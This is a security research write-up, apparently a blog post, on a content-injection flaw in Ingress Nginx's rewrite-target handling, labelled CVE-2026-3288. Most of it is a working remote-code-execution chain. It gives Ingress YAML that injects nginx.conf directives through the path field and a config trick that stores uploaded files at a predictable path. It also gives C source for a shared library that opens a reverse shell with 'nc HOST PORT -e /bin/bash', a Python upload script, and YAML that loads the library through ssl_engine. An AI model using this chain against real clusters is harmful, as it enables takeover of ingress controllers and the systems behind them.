.. visibility



 ██▀███  ▓█████  ██▓     ██▓ ██▒   █▓ ██▓ ███▄    █   ▄████    ▄▄▄█████▓ ██░ ██ ▓█████     ███▄    █  ██▓  ▄████  ██░ ██ ▄▄▄█████▓ ███▄ ▄███▓ ▄▄▄       ██▀███  ▓█████ 
▓██ ▒ ██▒▓█   ▀ ▓██▒    ▓██▒▓██░   █▒▓██▒ ██ ▀█   █  ██▒ ▀█▒   ▓  ██▒ ▓▒▓██░ ██▒▓█   ▀     ██ ▀█   █ ▓██▒ ██▒ ▀█▒▓██░ ██▒▓  ██▒ ▓▒▓██▒▀█▀ ██▒▒████▄    ▓██ ▒ ██▒▓█   ▀ 
▓██ ░▄█ ▒▒███   ▒██░    ▒██▒ ▓██  █▒░▒██▒▓██  ▀█ ██▒▒██░▄▄▄░   ▒ ▓██░ ▒░▒██▀▀██░▒███      ▓██  ▀█ ██▒▒██▒▒██░▄▄▄░▒██▀▀██░▒ ▓██░ ▒░▓██    ▓██░▒██  ▀█▄  ▓██ ░▄█ ▒▒███   
▒██▀▀█▄  ▒▓█  ▄ ▒██░    ░██░  ▒██ █░░░██░▓██▒  ▐▌██▒░▓█  ██▓   ░ ▓██▓ ░ ░▓█ ░██ ▒▓█  ▄    ▓██▒  ▐▌██▒░██░░▓█  ██▓░▓█ ░██ ░ ▓██▓ ░ ▒██    ▒██ ░██▄▄▄▄██ ▒██▀▀█▄  ▒▓█  ▄ 
░██▓ ▒██▒░▒████▒░██████▒░██░   ▒▀█░  ░██░▒██░   ▓██░░▒▓███▀▒     ▒██▒ ░ ░▓█▒░██▓░▒████▒   ▒██░   ▓██░░██░░▒▓███▀▒░▓█▒░██▓  ▒██▒ ░ ▒██▒   ░██▒ ▓█   ▓██▒░██▓ ▒██▒░▒████▒
░ ▒▓ ░▒▓░░░ ▒░ ░░ ▒░▓  ░░▓     ░ ▐░  ░▓  ░ ▒░   ▒ ▒  ░▒   ▒      ▒ ░░    ▒ ░░▒░▒░░ ▒░ ░   ░ ▒░   ▒ ▒ ░▓   ░▒   ▒  ▒ ░░▒░▒  ▒ ░░   ░ ▒░   ░  ░ ▒▒   ▓▒█░░ ▒▓ ░▒▓░░░ ▒░ ░
  ░▒ ░ ▒░ ░ ░  ░░ ░ ▒  ░ ▒ ░   ░ ░░   ▒ ░░ ░░   ░ ▒░  ░   ░        ░     ▒ ░▒░ ░ ░ ░  ░   ░ ░░   ░ ▒░ ▒ ░  ░   ░  ▒ ░▒░ ░    ░    ░  ░      ░  ▒   ▒▒ ░  ░▒ ░ ▒░ ░ ░  ░
  ░░   ░    ░     ░ ░    ▒ ░     ░░   ▒ ░   ░   ░ ░ ░ ░   ░      ░       ░  ░░ ░   ░         ░   ░ ░  ▒ ░░ ░   ░  ░  ░░ ░  ░      ░      ░     ░   ▒     ░░   ░    ░   
   ░        ░  ░    ░  ░ ░        ░   ░           ░       ░              ░  ░  ░   ░  ░            ░  ░        ░  ░  ░  ░                ░         ░  ░   ░        ░  ░
     
                            @@@@@@@@@@      @@@@@@@@@                     
                          @@@@*::.:-#@@@@@@@@*.   :*@@@@                  
                         @@#:.....    :@@@#.         .%@@                 
                        @@*......                      #@@                
                       @@%:......                      :@@@               
                  @@@@@@@*......                        @@@@@@@           
               @@@@%#***:.       .:*@@@@@@@@@%-.         :+++#@@@@@       
             @@@#:.....        :%@@*.        -@@@+              -@@@      
            @@@-......       .%@%               -@@-              #@@     
            @@+......        @@.                  %@+             .@@@    
           @@@-......       #@=                    @@              %@@    
            @@+......      .@@                     +@=            .@@@    
            @@@-......     .%@                     +@-            #@@     
             @@@#:.....     #@:  =@@@@+    %@@@#   @@           :@@@      
               @@=......    #@+ @@#=-*@@  @@==-@@: @@          .@@@       
             @@@%:.....    +@+  @%=--=@@ .@%=--+@@  @@.         :@@@      
            @@@=......     =@=  #@@#@@@   %@@%%@@   @@.           %@@     
            @@+......      .@%    :=:   :    --    +@%            .@@@    
           @@@-......       :%@@@*    +@@@@    .@@@@+              %@@    
            @@+......           #@=   :.  +    @@                 .@@@    
            @@@:......          -@%           :@#                 *@@     
             @@@+:.....          @@ #@  @* *@ %@-               :@@@      
               @@@@#+===.        :@@@@@@@@@@@@@+         .---+%@@@@       
                 @@@@@@@@*......    =*..*=.=*.          %@@@@@@@          
                       @@%.......                      :@@@               
                        @@+......                      *@@                
                        @@@*:.....    .%@@*.         .%@@                 
                          @@@#=:..::+@@@@@@@%=.   .=%@@@                  
                  @@@@@@    @@@@@@@@@@@    @@@@=  @@@@                    
               @@@@@@@@@@@                                                
              @@@=....  =@@@                                              
              @@:.....   :#@                                              
             @@@.....                                                     
              @@+.....   +@@                                              
         @@   @@@%:.....%@@                                               
      @@@@@@@@  @@@@@@@@@@                                                
    @@@=.. .@@@                                                           
    @@@:..  *@@                                                           
     @@%-:.*@@@                                                           
      @@@@@@@                                                             

Intro

CVE-2026-3288 is a content injection vulnerability in Ingress Nginx that occurs due to the lack of input santization in the rewrite directive, enabled by nginx.ingress.kubernetes.io/rewrite-target.

The attacker must have enough privileges to create objects of type Ingress .

The patch clearly points where the issue is:

https://github.com/kubernetes/ingress-nginx/pull/14667/changes#diff-44ebc329b1a98bc04b5491ba6f268e7a4ad8729b892c4f28d7148aaa249f4950

rewrite "(?i)%s" %s break;
-%v%v %s%s;`, path, location.Rewrite.Target, xForwardedPrefix, proxyPass, proto, upstreamName)
+%v%v %s%s;`, sanitizeQuotedRegex(path), location.Rewrite.Target, xForwardedPrefix, proxyPass, proto, upstreamName)
	}

When the rewrite directive is added, it’s built as:

rewrite PATH_TARGET REWRITE-TARGET break;

While REWRITE-TARGET is sanitized, PATH_TARGET is not, which comes from the path key within paths .

Let’s look at an example:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: rewrite-example
  annotations:
    kubernetes.io/ingress.class:  "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: "/$2"
spec:
  ingressClassName: nginx
  rules:
  - http:
      paths:
      - path: hello";
        pathType: ImplementationSpecific
        backend:
          service:
            name: kubernetes
            port:
              number: 5000

Once applied, this would translate in the nginx.conf to something like:

location "hello\";" {
	...
	rewrite "hello";
	// config is broken now
	$2 break;
}

Exploitation

Let’s start thinking on how to attack this.

I used kind for testing and deployed the helm with: helm install ingress-nginx ingress-nginx/ingress-nginx --version 4.14.3

We know now that we can mess up the structure of nginx.conf. The most obvious path forward would be to add a location with a Lua script to execute commands, so we can query it and achieve RCE.

Not so fast. path variable is filtered, preventing us from providing the string _by_lua : https://github.com/kubernetes/ingress-nginx/blame/main/internal/ingress/inspector/rules.go#L29

Okay, what about alias or root to read local files? Same as before, filtered (a couple lines above the same link as before)

At this point, I thought about Javascript through js_import or Perl, but none of them seemed to work with helm version I used for testing.

A while ago, I created an exploit for IngressNightmare here which followed a similar pattern of injection in nginx.conf .

TLDR we can use ssl_engine directive to trigger the loading of a shared libary from the system. If we can make it load our own file, this means RCE.

The problem with that attack was that we had to bruteforce paths to try and find where the payload was temporarly saved by the process handling our request (/proc/????/fd/???)

With this vulnerability, I found an alternative path to “reliably” upload a binary to the nginx server so we can consistently load it with the ssl_engine injection.

Reliably uploading files to Nginx

While reading the nginx options available, I stumbled upon client_body_in_file_only (docs)

TLDR: Determines whether nginx should save the entire client request body into a file . This allow us to store the body of any request we sent on a file in the nginx server.

Then we have client_body_temp_path, which allows us to specify where we want to write this body.

Both of them combined means we can store any data we want on the server in a known location:

location "test" {
	client_body_in_file_only on;
	client_body_temp_path /tmp/nginx/upload;
	proxy_pass http://localhost:10246; // We need to forward the request somewhere, we can use the internal port, it doesn't matter
}

The files will be created like /tmp/nginx/upload/0000000001 , /tmp/nginx/upload/0000000002 , etc.

This would be our first YAML:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: rewrite-example
  annotations:
    kubernetes.io/ingress.class:  "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: "/$2"
spec:
  ingressClassName: nginx
  rules:
  - http:
      paths:
      - path: |
          /deadbeef" /$2 break; 
          }
          location ~* "^/litios" {
            client_body_in_file_only on;
            client_body_temp_path /tmp/nginx/upload;
            proxy_pass http://localhost:10246;
          }  
          location /whatever { rewrite "(?i)/aaaa
        pathType: ImplementationSpecific
        backend:
          service:
            name: kubernetes
            port: 
              number: 5000

After applying, this is how nginx.conf looks:

		...
		
			rewrite "(?i)/deadbeef" /$2 break; 
		}
		location ~* "^/litios" {
			client_body_in_file_only on;
			client_body_temp_path /tmp/nginx/upload;
			proxy_pass http://localhost:10246;
		}  
		location /whatever { rewrite "(?i)/aaaa
			" /$2 break;
			proxy_pass http://upstream_balancer;
			
			proxy_redirect                          off;
			
		}
		
		...

For the shared library to upload, I reused the one from my IngressNightmare exploit, nothing fancy, plain reverse shell (update your HOST/PORT here):

#include <stdlib.h>
#include <stdio.h>

static void __attribute__ ((constructor)) lib_init(void);
static void lib_init(void) {
    system("bash -c 'nc HOST PORT -e /bin/bash'");
}

gcc -fPIC -shared -g -o shared shared-tmp.c to compile.

Curl messed up the payload so I had to upload it with a small python3 script:

import http.client

with open('shared', 'rb') as f:
    file_data = f.read()
headers = {"Content-Length": str(len(file_data))}
conn = http.client.HTTPConnection("localhost", 8080)
conn.request("POST", '/litios', body=file_data, headers=headers)
conn.getresponse()

In kind I had to port-forward it since it was not reachable in my demo: kubectl port-forward svc/ingress-nginx-controller 8080:80

ingress-nginx-controller-5b6f66ff57-q4cwv:/tmp/nginx/upload$ ls -la
total 28
drwx------    2 www-data www-data      4096 Mar 19 15:39 .
drwxr-xr-x    1 www-data www-data      4096 Mar 19 15:34 ..
-rw-------    1 www-data www-data     16504 Mar 19 15:39 0000000001

Triggering the reverse shell

Now that we have the payload in a know location, it’s an easy one. We just need to use the ssl_engine directive, point to our file and receive the shell.

ssl_engine specifies the shared library to be used by openssl. Since our payload is in the constructor of the library, it will trigger the moment is loaded, so this would be triggered the moment we apply the YAML file, when the nginx.conf is generated (no further requests needed):

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: rewrite-example
  annotations:
    kubernetes.io/ingress.class:  "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: "/$2"
spec:
  ingressClassName: nginx
  rules:
  - http:
      paths:
      - path: |
          /deadbeef" /$2 break; 
          }}}
          ssl_engine ../../../tmp/nginx/upload/0000000001;
          location /whatever { rewrite "(?i)/aaaa
        pathType: ImplementationSpecific
        backend:
          service:
            name: kubernetes
            port: 
              number: 5000